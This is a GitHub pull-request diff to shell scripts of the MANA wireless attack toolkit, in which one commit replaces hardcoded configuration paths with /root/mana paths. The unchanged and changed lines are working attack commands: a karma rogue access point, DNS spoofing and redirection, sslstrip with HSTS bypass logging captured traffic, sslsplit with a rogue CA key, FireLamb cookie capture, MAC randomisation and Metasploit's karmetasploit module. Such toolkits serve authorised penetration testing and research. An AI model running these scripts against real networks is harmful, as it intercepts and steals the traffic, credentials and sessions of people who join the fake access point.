Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

User friendly additions to scripts #20

Open
wants to merge 11 commits into
base: master
Choose a base branch
from
Prev Previous commit
Next Next commit
removed hardcoded paths that were causing issues
root committed Mar 20, 2015
commit 8f417a9b03a684d1c485bec9654ff7d85a43cb4f
15 changes: 8 additions & 7 deletions run-mana/start-nat-full.sh
Original file line number Diff line number Diff line change
@@ -1,12 +1,13 @@

#!/bin/bash
# Original script by Dominic White and Ian de Villiers
# Changes made by John & Daniel Cuthbert

# Other Useful variables defined
upstream=eth0
# phy=wlan0
conf=/etc/mana-toolkit/hostapd-karma.conf
hostapd=/usr/lib/mana-toolkit/hostapd
conf=/root/mana/run-mana/conf/hostapd-karma.conf
hostapd=/root/mana/hostapd-manna/hostapd/hostapd
ifwl="(ifconfig | grep wlan*)"
S1='y'
S2='n'
@@ -165,7 +166,7 @@ sleep 5
ifconfig $phy 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

dhcpd -cf /etc/mana-toolkit/dhcpd.conf $phy
dhcpd -cf /root/mana/run-mana/conf/dhcpd.conf $phy

}

@@ -188,16 +189,16 @@ iptables -t nat -A PREROUTING -i $phy -p udp --dport 53 -j DNAT --to 10.0.0.1

#SSLStrip with HSTS bypass
echo -e "${grn}[+]${nc} (${red}BACKGROUNDED${nc}) Starting sslstrip with HSTS bypass"
cd /usr/share/mana-toolkit/sslstrip-hsts/
python sslstrip.py -l 10000 -a -w /var/lib/mana-toolkit/sslstrip.log&
cd /root/mana/sslstrip-hsts/sslstrip-hsts/
python sslstrip.py -l 10000 -a -w /root/mana/treasures/sslstrip.log&
iptables -t nat -A PREROUTING -i $phy -p tcp --destination-port 80 -j REDIRECT --to-port 10000
python dns2proxy.py $phy&
cd -


#SSLSplit
echo -e "${grn}[+]${nc} (${red}BACKGROUNDED${nc}) Starting sslsplit with HSTS bypass"
sslsplit -D -P -Z -S /var/lib/mana-toolkit/sslsplit -c /usr/share/mana-toolkit/cert/rogue-ca.pem -k /usr/share/mana-toolkit/cert/rogue-ca.key -O -l /var/lib/mana-toolkit/sslsplit-connect.log \
sslsplit -D -P -Z -S /root/mana/sslstrip-hsts/sslsplit -c /root/mana/run-mana/cert/rogue-ca.pem -k /root/mana/run-mana/cert/cert/rogue-ca.key -O -l /root/mana/logfiles/sslsplit-connect.log \
https 0.0.0.0 10443 \
http 0.0.0.0 10080 \
ssl 0.0.0.0 10993 \
@@ -236,7 +237,7 @@ iptables -t nat -A PREROUTING -i $phy \

# Start FireLamb
echo -e "${grn}[+]${nc} (${red}BACKGROUNDED${nc}) Starting FireLamb"
/usr/share/mana-toolkit/firelamb/firelamb.py -i $phy & ## Does this need to be killed in the bg When shutdown is given??? fkill="(ps aux | grep XXXXXX | cut -b 11-14 | head -n1)"> followed by <pkill ${fkill}>
/root/mana/firelamb/firelamb.py -i $phy & ## Does this need to be killed in the bg When shutdown is given??? fkill="(ps aux | grep XXXXXX | cut -b 11-14 | head -n1)"> followed by <pkill ${fkill}>

echo "Hit enter to kill me"
read
6 changes: 3 additions & 3 deletions run-mana/start-nat-simple.sh
Original file line number Diff line number Diff line change
@@ -5,8 +5,8 @@
# Other Useful variables defined
upstream=eth0
# phy=wlan0
conf=/etc/mana-toolkit/hostapd-karma.conf
hostapd=/usr/lib/mana-toolkit/hostapd
conf=/root/mana/hostapd-manna/hostapd/hostapd-karma.conf
hostapd=/root/mana/hostapd-manna/hostapd/hostapd
ifwl="(ifconfig | grep wlan*)"
S1='y'
S2='n'
@@ -150,7 +150,7 @@ ifconfig $phy 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

echo "[+] Configuring dhcpd."
dhcpd -cf /etc/mana-toolkit/dhcpd.conf $phy
dhcpd -cf /root/mana/run-mana/conf/dhcpd.conf $phy

echo "[+] Setting iptables to ACCEPT traffic."
echo -e "${red}[!]${nc} iptables will be FLUSHED when complete but we would recommend you check this manually to be sure"
18 changes: 9 additions & 9 deletions run-mana/start-noupstream-eap.sh
Original file line number Diff line number Diff line change
@@ -5,8 +5,8 @@
# Other Useful variables defined
upstream=eth0
# phy=wlan0
conf=/etc/mana-toolkit/hostapd-karma.conf
hostapd=/usr/lib/mana-toolkit/hostapd
conf=/root/mana/run-mana/conf/hostapd-karma.conf
hostapd=/root/mana/hostapd-manna/hostapd/hostapd
ifwl="(ifconfig | grep wlan*)"
S1='y'
S2='n'
@@ -149,7 +149,7 @@ rfkill unblock wlan
# Start hostapd
sed -i "s/^interface=.*$/interface=$phy/" $conf
sed -i "s/^bss=.*$/bss=$phy0/" $conf
sed -i "s/^set INTERFACE .*$/set INTERFACE $phy/" /etc/mana-toolkit/karmetasploit.rc
sed -i "s/^set INTERFACE .*$/set INTERFACE $phy/" /root/mana/run-mana/conf/karmetasploit.rc
$hostapd $conf&
sleep 5
ifconfig $phy
@@ -159,14 +159,14 @@ route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
ifconfig $phy0 10.1.0.1 netmask 255.255.255.0
route add -net 10.1.0.0 netmask 255.255.255.0 gw 10.1.0.1

dhcpd -cf /etc/mana-toolkit/dhcpd.conf $phy
dhcpd -pf /var/run/dhcpd-two.pid -lf /var/lib/dhcp/dhcpd-two.leases -cf /etc/mana-toolkit/dhcpd-two.conf $phy0
dnsspoof -i $phy -f /etc/mana-toolkit/dnsspoof.conf&
dnsspoof -i $phy0 -f /etc/mana-toolkit/dnsspoof.conf&
dhcpd -cf /root/mana/run-mana/conf/dhcpd.conf $phy
dhcpd -pf /var/run/dhcpd-two.pid -lf /var/lib/dhcp/dhcpd-two.leases -cf /root/mana/run-mana/conf/dhcpd-two.conf $phy0
dnsspoof -i $phy -f /root/mana/run-mana/conf/dnsspoof.conf&
dnsspoof -i $phy0 -f /root/mana/run-mana/conf/dnsspoof.conf&
service apache2 start
service stunnel4 start
tinyproxy -c /etc/mana-toolkit/tinyproxy.conf&
msfconsole -r /etc/mana-toolkit/karmetasploit.rc&
tinyproxy -c /root/mana/run-mana/conf/tinyproxy.conf&
msfconsole -r /root/mana/run-mana/conf/karmetasploit.rc&

echo '1' > /proc/sys/net/ipv4/ip_forward
iptables --policy INPUT ACCEPT
14 changes: 7 additions & 7 deletions run-mana/start-noupstream.sh
Original file line number Diff line number Diff line change
@@ -5,8 +5,8 @@
# Other Useful variables defined
upstream=eth0
# phy=wlan0
conf=/etc/mana-toolkit/hostapd-karma.conf
hostapd=/usr/lib/mana-toolkit/hostapd
conf=/root/mana/run-mana/conf/hostapd-karma.conf
hostapd=/root/mana/hostapd-manna/hostapd
ifwl="(ifconfig | grep wlan*)"
S1='y'
S2='n'
@@ -145,18 +145,18 @@ macchanger -r $phy
ifconfig $phy up

sed -i "s/^interface=.*$/interface=$phy/" $conf
sed -i "s/^set INTERFACE .*$/set INTERFACE $phy/" /etc/mana-toolkit/karmetasploit.rc
sed -i "s/^set INTERFACE .*$/set INTERFACE $phy/" /root/mana/run-mana/conf/karmetasploit.rc
$hostapd $conf&
sleep 5
ifconfig $phy 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

dhcpd -cf /etc/mana-toolkit/dhcpd.conf $phy
dnsspoof -i $phy -f /etc/mana-toolkit/dnsspoof.conf&
dhcpd -cf /root/mana/run-mana/conf/dhcpd.conf $phy
dnsspoof -i $phy -f /root/mana/run-mana/conf/dnsspoof.conf&
service apache2 start
service stunnel4 start
tinyproxy -c /etc/mana-toolkit/tinyproxy.conf&
msfconsole -r /etc/mana-toolkit/karmetasploit.rc&
tinyproxy -c /root/mana/run-mana/conf/tinyproxy.conf&
msfconsole -r /root/mana/run-mana/conf/karmetasploit.rc&

echo '1' > /proc/sys/net/ipv4/ip_forward
iptables --policy INPUT ACCEPT